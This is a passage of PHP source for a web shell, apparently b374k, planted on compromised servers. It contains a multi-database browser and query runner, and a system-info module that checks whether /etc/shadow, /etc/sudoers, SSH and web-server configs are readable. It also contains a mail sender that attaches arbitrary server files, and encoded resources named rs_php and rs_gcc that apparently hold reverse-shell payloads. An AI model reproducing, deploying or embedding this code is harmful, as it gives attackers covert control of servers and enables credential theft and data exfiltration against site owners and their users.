  1532. <div id='dbBottom' style='display:none;'>
  1533. <br>
  1534. <table class='border' style='padding:0;'><tr><td id='dbNav' class='colFit borderright' style='vertical-align:top;'></td><td id='dbResult' style='vertical-align:top;'></td></tr></table>
  1535. </div>
  1536. ";
  1537.  
  1538. if(!function_exists('sql_connect')){
  1539.     function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){
  1540.         if($sqltype == 'mysql'){
  1541.             if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass);
  1542.             elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass);
  1543.         }
  1544.         elseif($sqltype == 'mssql'){
  1545.             if(function_exists('sqlsrv_connect')){
  1546.                 $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
  1547.                 return @sqlsrv_connect($sqlhost,$coninfo);
  1548.             }
  1549.             elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
  1550.         }
  1551.         elseif($sqltype == 'pgsql'){
  1552.             $hosts = explode(":", $sqlhost);
  1553.             if(count($hosts)==2){
  1554.                 $host_str = "host=".$hosts[0]." port=".$hosts[1];
  1555.             }
  1556.             else $host_str = "host=".$sqlhost;
  1557.             if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
  1558.         }
  1559.         elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
  1560.         elseif($sqltype == 'sqlite3'){
  1561.             if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
  1562.             else return false;
  1563.         }
  1564.         elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
  1565.         elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
  1566.         elseif($sqltype == 'pdo'){
  1567.             if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
  1568.             else return false;
  1569.         }
  1570.         return false;
  1571.     }
  1572. }
  1573.  
  1574. if(!function_exists('sql_query')){
  1575.     function sql_query($sqltype, $query, $con){
  1576.         if($sqltype == 'mysql'){
  1577.             if(class_exists('mysqli')) return $con->query($query);
  1578.             elseif(function_exists('mysql_query')) return mysql_query($query);
  1579.         }
  1580.         elseif($sqltype == 'mssql'){
  1581.             if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
  1582.             elseif(function_exists('mssql_query')) return mssql_query($query);
  1583.         }
  1584.         elseif($sqltype == 'pgsql') return pg_query($query);
  1585.         elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
  1586.         elseif($sqltype == 'sqlite3') return $con->query($query);
  1587.         elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
  1588.         elseif($sqltype == 'odbc') return odbc_exec($con, $query);
  1589.         elseif($sqltype == 'pdo') return $con->query($query);
  1590.     }
  1591. }
  1592.  
  1593. if(!function_exists('sql_num_rows')){
  1594.     function sql_num_rows($sqltype,$result){
  1595.         if($sqltype == 'mysql'){
  1596.             if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
  1597.             elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
  1598.         }
  1599.         elseif($sqltype == 'mssql'){
  1600.             if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
  1601.             elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
  1602.         }
  1603.         elseif($sqltype == 'pgsql') return pg_num_rows($result);
  1604.         elseif($sqltype == 'oracle') return oci_num_rows($result);
  1605.         elseif($sqltype == 'sqlite3'){
  1606.             $metadata = $result->fetchArray();
  1607.             if(is_array($metadata)) return $metadata['count'];
  1608.         }
  1609.         elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
  1610.         elseif($sqltype == 'odbc') return odbc_num_rows($result);
  1611.         elseif($sqltype == 'pdo') return $result->rowCount();
  1612.     }
  1613. }
  1614.  
  1615. if(!function_exists('sql_num_fields')){
  1616.     function sql_num_fields($sqltype, $result){
  1617.         if($sqltype == 'mysql'){
  1618.             if(class_exists('mysqli_result')) return $result->field_count;
  1619.             elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
  1620.         }
  1621.         elseif($sqltype == 'mssql'){
  1622.             if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
  1623.             elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
  1624.         }
  1625.         elseif($sqltype == 'pgsql') return pg_num_fields($result);
  1626.         elseif($sqltype == 'oracle') return oci_num_fields($result);
  1627.         elseif($sqltype == 'sqlite3') return $result->numColumns();
  1628.         elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
  1629.         elseif($sqltype == 'odbc') return odbc_num_fields($result);
  1630.         elseif($sqltype == 'pdo') return $result->columnCount();
  1631.     }
  1632. }
  1633.  
  1634. if(!function_exists('sql_field_name')){
  1635.     function sql_field_name($sqltype,$result,$i){
  1636.         if($sqltype == 'mysql'){
  1637.             if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
  1638.             elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
  1639.         }
  1640.         elseif($sqltype == 'mssql'){
  1641.             if(function_exists('sqlsrv_field_metadata')){
  1642.                 $metadata = sqlsrv_field_metadata($result);
  1643.                 if(is_array($metadata)){
  1644.                     $metadata=$metadata[$i];
  1645.                 }
  1646.                 if(is_array($metadata)) return $metadata['Name'];
  1647.             }
  1648.             elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
  1649.         }
  1650.         elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
  1651.         elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
  1652.         elseif($sqltype == 'sqlite3') return $result->columnName($i);
  1653.         elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
  1654.         elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
  1655.         elseif($sqltype == 'pdo'){
  1656.             $res = $result->getColumnMeta($i);
  1657.             return $res['name'];
  1658.         }
  1659.     }
  1660. }
  1661.  
  1662. if(!function_exists('sql_fetch_data')){
  1663.     function sql_fetch_data($sqltype,$result){
  1664.         if($sqltype == 'mysql'){
  1665.             if(class_exists('mysqli_result')) return $result->fetch_row();
  1666.             elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
  1667.         }
  1668.         elseif($sqltype == 'mssql'){
  1669.             if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
  1670.             elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
  1671.         }
  1672.         elseif($sqltype == 'pgsql') return pg_fetch_row($result);
  1673.         elseif($sqltype == 'oracle') return oci_fetch_row($result);
  1674.         elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
  1675.         elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
  1676.         elseif($sqltype == 'odbc') return odbc_fetch_array($result);
  1677.         elseif($sqltype == 'pdo') return $result->fetch(2);
  1678.     }
  1679. }
  1680.  
  1681. if(!function_exists('sql_close')){
  1682.     function sql_close($sqltype,$con){
  1683.         if($sqltype == 'mysql'){
  1684.             if(class_exists('mysqli')) return $con->close();
  1685.             elseif(function_exists('mysql_close')) return mysql_close($con);
  1686.         }
  1687.         elseif($sqltype == 'mssql'){
  1688.             if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
  1689.             elseif(function_exists('mssql_close')) return mssql_close($con);
  1690.         }
  1691.         elseif($sqltype == 'pgsql') return pg_close($con);
  1692.         elseif($sqltype == 'oracle') return oci_close($con);
  1693.         elseif($sqltype == 'sqlite3') return $con->close();
  1694.         elseif($sqltype == 'sqlite') return sqlite_close($con);
  1695.         elseif($sqltype == 'odbc') return odbc_close($con);
  1696.         elseif($sqltype == 'pdo') return $con = null;
  1697.     }
  1698. }
  1699.  
  1700. if(!function_exists('sql_get_supported')){
  1701.     function sql_get_supported(){
  1702.         $db_supported = array();
  1703.  
  1704.         if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
  1705.         if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
  1706.         if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
  1707.         if(function_exists("oci_connect")) $db_supported[] = 'oracle';
  1708.         if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
  1709.         if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
  1710.         if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
  1711.         if(class_exists("PDO")) $db_supported[] = 'pdo';
  1712.  
  1713.         return implode(",", $db_supported);
  1714.     }
  1715. }
  1716.  
  1717. if(isset($p['dbGetSupported'])){
  1718.     $res = sql_get_supported();
  1719.     if(empty($res)) $res = "error";
  1720.     output($res);
  1721. }
  1722. elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
  1723.     $type = $p['dbType'];
  1724.     $host = $p['dbHost'];
  1725.     $user = $p['dbUser'];
  1726.     $pass = $p['dbPass'];
  1727.     $port = $p['dbPort'];
  1728.  
  1729.     $con = sql_connect($type ,$host , $user , $pass);
  1730.     $res = "";
  1731.  
  1732.     if($con!==false){
  1733.         if(isset($p['dbQuery'])){
  1734.             $query = $p['dbQuery'];
  1735.             $pagination = "";
  1736.             if((isset($p['dbDB']))&&(isset($p['dbTable']))){
  1737.                 $db = trim($p['dbDB']);
  1738.                 $table = trim($p['dbTable']);
  1739.                 $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
  1740.                 $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
  1741.  
  1742.                 if($type=='mysql'){
  1743.                     $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
  1744.                 }
  1745.                 elseif($type=='mssql'){
  1746.                     $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
  1747.                 }
  1748.                 elseif($type=='pgsql'){
  1749.                     $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
  1750.                 }
  1751.                 elseif($type=='oracle'){
  1752.                     $limit = $start + $limit;
  1753.                     $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
  1754.                 }
  1755.                 elseif($type=='sqlite' || $type=='sqlite3'){
  1756.                     $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
  1757.                 }
  1758.                 else $query = "";
  1759.  
  1760.                 $pagination = "Limit <input type='text' id='dbLimit' value='".html_safe($limit)."' style='width:50px;'>
  1761.                                 <span class='button' onclick=\"db_pagination('prev');\">prev</span>
  1762.                                 <span class='button' onclick=\"db_pagination('next');\">next</span>
  1763.                                 <input type='hidden' id='dbDB' value='".html_safe($db)."'>
  1764.                                 <input type='hidden' id='dbTable' value='".html_safe($table)."'>
  1765.                                 <input type='hidden' id='dbStart' value='".html_safe($start)."'>
  1766.                                 ";
  1767.             }
  1768.  
  1769.             $querys = explode(";", $query);
  1770.             foreach($querys as $query){
  1771.                 if(trim($query) != ""){
  1772.                     $query_query = sql_query($type, $query, $con);
  1773.                     if($query_query!=false){
  1774.                         $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> ok <span class='strong'>]</span></p>";
  1775.                         if(!empty($pagination)){
  1776.                             $res .= "<p>".$pagination."</p>";
  1777.                         }
  1778.                         if(!is_bool($query_query)){
  1779.                             $res .= "<table class='border dataView sortable tblResult'><tr>";
  1780.                             for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
  1781.                                 $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>";
  1782.                             $res .= "</tr>";
  1783.                             while($rows = sql_fetch_data($type, $query_query)){
  1784.                                 $res .= "<tr>";
  1785.                                 foreach($rows as $r){
  1786.                                     if(empty($r)) $r = " ";
  1787.                                     $res .= "<td>".html_safe($r)."</td>";
  1788.                                 }
  1789.                                 $res .= "</tr>";
  1790.                             }
  1791.                             $res .= "</table>";
  1792.                         }
  1793.                     }
  1794.                     else{
  1795.                         $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> error <span class='strong'>]</span></p>";
  1796.                     }
  1797.                 }
  1798.             }
  1799.         }
  1800.         else{
  1801.             if(($type!='pdo') && ($type!='odbc')){
  1802.                 if($type=='mysql') $showdb = "SHOW DATABASES";
  1803.                 elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
  1804.                 elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
  1805.                 elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
  1806.                 elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
  1807.                 else $showdb = "SHOW DATABASES";
  1808.  
  1809.                 $query_db = sql_query($type, $showdb, $con);
  1810.  
  1811.                 if($query_db!=false) {
  1812.                     while($db_arr = sql_fetch_data($type, $query_db)){
  1813.                         foreach($db_arr as $db){
  1814.                             if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
  1815.                             elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
  1816.                             elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
  1817.                             elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
  1818.                             elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
  1819.                             else $showtbl = "";
  1820.  
  1821.                             $res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='display:none;margin:8px 0;'>";
  1822.                             $query_table = sql_query($type, $showtbl, $con);
  1823.  
  1824.                             if($query_table!=false){
  1825.                                 while($tables_arr = sql_fetch_data($type, $query_table)){
  1826.                                     foreach($tables_arr as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table."</td></tr>";
  1827.                                 }
  1828.                             }
  1829.                             $res .= "</table>";
  1830.                         }
  1831.                     }
  1832.                 }
  1833.             }
  1834.         }
  1835.     }
  1836.     if(!empty($res)) output($res);
  1837.     output('error');
  1838. }
  1839.  
  1840. $GLOBALS['module']['info']['id'] = "info";
  1841. $GLOBALS['module']['info']['title'] = "Info";
  1842. $GLOBALS['module']['info']['js_ontabselected'] = "";
  1843. $GLOBALS['module']['info']['content'] = "<div class='border infoResult'></div>";
  1844.  
  1845. if(!function_exists('info_getinfo')){
  1846.     function info_getinfo(){
  1847.         $res = "";
  1848.         // server misc info
  1849.         $res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>";
  1850.         $res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>";
  1851.  
  1852.         if(is_win()){
  1853.             foreach (range("A", "Z") as $letter){
  1854.                 if(is_readable($letter.":\\")){
  1855.                     $drive = $letter.":";
  1856.                     $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>";
  1857.                 }
  1858.             }
  1859.         }
  1860.         else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>";
  1861.  
  1862.         $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
  1863.         $access = array("python"=>"python -V",
  1864.                         "perl"=>"perl -e \"print \$]\"",
  1865.                         "python"=>"python -V",
  1866.                         "ruby"=>"ruby -v",
  1867.                         "node"=>"node -v",
  1868.                         "nodejs"=>"nodejs -v",
  1869.                         "gcc"=>"gcc -dumpversion",
  1870.                         "java"=>"java -version",
  1871.                         "javac"=>"javac -version"
  1872.                         );
  1873.  
  1874.         foreach($access as $k=>$v){
  1875.             $version = execute($v);
  1876.             $version = explode("\n", $version);
  1877.             if($version[0]) $version = $version[0];
  1878.             else $version = "?";
  1879.  
  1880.             $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>";
  1881.         }
  1882.  
  1883.         if(!is_win()){
  1884.             $interesting = array(
  1885.             "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
  1886.             "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
  1887.             "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
  1888.             "/etc/ssh/sshd_config",
  1889.             "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
  1890.             "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
  1891.             "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
  1892.             foreach($interesting as $f){
  1893.                 if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path='".html_safe($f)."' onclick='view_entry(this);'>".$f." is readable</a></td></tr>";
  1894.             }
  1895.         }
  1896.         $res .= "</table></div>";
  1897.  
  1898.         if(!is_win()){
  1899.             // cpu info
  1900.             if($i_buff=trim(read_file("/proc/cpuinfo"))){
  1901.                 $res .= "<p class='boxtitle' onclick=\"info_toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>";
  1902.                 $res .= "<div class='info' id='info_cpu' style='margin-bottom:8px;display:none;'>";
  1903.                 $i_buffs = explode("\n\n", $i_buff);
  1904.                 foreach($i_buffs as $i_buffss){
  1905.                     $i_buffss = trim($i_buffss);
  1906.                     if($i_buffss!=""){
  1907.                         $i_buffsss = explode("\n", $i_buffss);
  1908.                         $res .= "<table class='dataView'>";
  1909.                         foreach($i_buffsss as $i){
  1910.                             $i = trim($i);
  1911.                             if($i!=""){
  1912.                                 $ii = explode(":",$i);
  1913.                                 if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
  1914.                             }
  1915.                         }
  1916.                         $res .= "</table>";
  1917.                     }
  1918.                 }
  1919.                 $res .= "</div>";
  1920.             }
  1921.  
  1922.             // mem info
  1923.             if($i_buff=trim(read_file("/proc/meminfo"))){
  1924.                 $res .= "<p class='boxtitle' onclick=\"info_toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>";
  1925.                 $i_buffs = explode("\n", $i_buff);
  1926.                 $res .= "<div class='info' id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>";
  1927.                 foreach($i_buffs as $i){
  1928.                     $i = trim($i);
  1929.                     if($i!=""){
  1930.                         $ii = explode(":",$i);
  1931.                         if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
  1932.                     }
  1933.                     else $res .= "</table><table class='dataView'>";
  1934.                 }
  1935.                 $res .= "</table></div>";
  1936.             }
  1937.  
  1938.             // partition
  1939.             if($i_buff=trim(read_file("/proc/partitions"))){
  1940.                 $i_buff = preg_replace("/\ +/", " ", $i_buff);
  1941.                 $res .= "<p class='boxtitle' onclick=\"info_toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>";
  1942.                 $res .= "<div class='info' id='info_part' style='margin-bottom:8px;display:none;'>";
  1943.                 $i_buffs = explode("\n\n", $i_buff);
  1944.                 $res .= "<table class='dataView'><tr>";
  1945.                 $i_head = explode(" ", $i_buffs[0]);
  1946.                 foreach($i_head as $h) $res .= "<th>".$h."</th>";
  1947.                 $res .= "</tr>";
  1948.                 $i_buffss = explode("\n", $i_buffs[1]);
  1949.                 foreach($i_buffss as $i_b){
  1950.                     $i_row = explode(" ", trim($i_b));
  1951.                     $res .= "<tr>";
  1952.                     foreach($i_row as $r) $res .= "<td style='text-align:center;'>".$r."</td>";
  1953.                     $res .= "</tr>";
  1954.                 }
  1955.                 $res .= "</table>";
  1956.                 $res .= "</div>";
  1957.             }
  1958.         }
  1959.         $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
  1960.         foreach($phpinfo as $p=>$i){
  1961.             $res .= "<p class='boxtitle' onclick=\"info_toggle('".$i."');\" style='margin-bottom:8px;'>".$p."</p>";
  1962.             ob_start();
  1963.             eval("phpinfo(".$i.");");
  1964.             $b = ob_get_contents();
  1965.             ob_end_clean();
  1966.             if(preg_match("/<body>(.*?)<\/body>/is", $b, $r)){
  1967.                 $body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
  1968.                 $body = str_replace("<table", "<table class='boxtbl' ", $body);
  1969.                 $body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $body);
  1970.                 $body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?)<\/a>/", "", $body);
  1971.                 $body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*?)<\/a>/", "", $body);
  1972.  
  1973.                 $res .= "<div class='info' id='".$i."' style='margin-bottom:8px;display:none;'>".$body."</div>";
  1974.             }
  1975.         }
  1976.  
  1977.         $res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='margin-bottom:8px;'>refresh</span><div style='clear:both;'></div>";
  1978.         return $res;
  1979.     }
  1980. }
  1981.  
  1982. if(isset($p['infoRefresh'])){
  1983.     output(info_getinfo());
  1984. }
  1985.  
  1986. $GLOBALS['module']['mail']['id'] = "mail";
  1987. $GLOBALS['module']['mail']['title'] = "Mail";
  1988. $GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
  1989. $GLOBALS['module']['mail']['content'] = "
  1990. <table class='boxtbl'>
  1991. <thead>
  1992.     <tr><th colspan='2'><p class='boxtitle'>Mail</p></th></tr>
  1993. </thead>
  1994. <tbody id='mailTBody'>
  1995.     <tr><td style='width:120px'>From</td><td colspan='2'><input type='text' id='mailFrom' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
  1996.     <tr><td>To</td><td><input type='text' id='mailTo' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
  1997.     <tr><td>Subject</td><td><input type='text' id='mailSubject' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
  1998. </tbody>
  1999. <tfoot>
  2000.     <tr><td colspan='2'><textarea id='mailContent' style='height:140px;min-height:140px;'></textarea></td></tr>
  2001.     <tr>
  2002.         <td colspan='2'><span style='width:120px;' class='button' onclick=\"mail_send();\">send</span>
  2003.         <span style='width:120px;' class='button' onclick=\"mail_attach();\">attachment</span>
  2004.         </td>
  2005.     </tr>
  2006.     <tr><td colspan='2'><span id='mailResult'></span></td></tr>
  2007. </tfoot>
  2008. </table>
  2009. ";
  2010.  
  2011. if(!function_exists('send_email')){
  2012.     function send_email($from, $to, $subject, $msg, $attachment){
  2013.         $headers = "MIME-Version: 1.0\r\n".$from;
  2014.  
  2015.         $rand = md5(time());
  2016.         $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
  2017.  
  2018.         $headers .= "--".$rand."\r\n";
  2019.         $headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
  2020.         $headers .= $msg."\r\n\r\n";
  2021.  
  2022.         if(count($attachment)>0){
  2023.             foreach($attachment as $file){
  2024.                 if(is_file($file)){
  2025.                     $content = chunk_split(base64_encode(read_file($file)));
  2026.                     $headers .= "--".$rand."\r\n";
  2027.                     $headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
  2028.                     $headers .= "Content-Transfer-Encoding: base64\r\n";
  2029.                     $headers .= "Content-Disposition: attachment\r\n\r\n";
  2030.                     $headers .= $content."\r\n\r\n";
  2031.                 }
  2032.             }
  2033.         }
  2034.         $headers .= "--".$rand."--\r\n";
  2035.         if(@mail($to, $subject, "", $headers)) return true;
  2036.         return false;
  2037.     }
  2038. }
  2039.  
  2040. if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
  2041.     $mailFrom = trim($p['mailFrom']);
  2042.     $mailTo = trim($p['mailTo']);
  2043.     $mailSubject = trim($p['mailSubject']);
  2044.     $mailContent = trim($p['mailContent']);
  2045.     $mailAttachment = trim($p['mailAttachment']);
  2046.     $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
  2047.  
  2048.     if(empty($mailTo)) output("Please specify at least one recipient");
  2049.     if(!empty($mailFrom)){
  2050.         $mailFrom = "From: ".$mailFrom."\r\nReply-To: ".$mailFrom."\r\n";
  2051.     }
  2052.  
  2053.     foreach($mailAttachment as $file){
  2054.         $file = trim($file);
  2055.         if(empty($file)) continue;
  2056.         if(!is_file($file)) output("No such file : ".$file);
  2057.     }
  2058.  
  2059.     if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo));
  2060.     output("Failed to send mail");
  2061. }
  2062.  
  2063. $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
  2064. $remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
  2065. $default_port = 13123;
  2066. $winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":"";
  2067.  
  2068. $GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5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cEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
  2073. $GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";
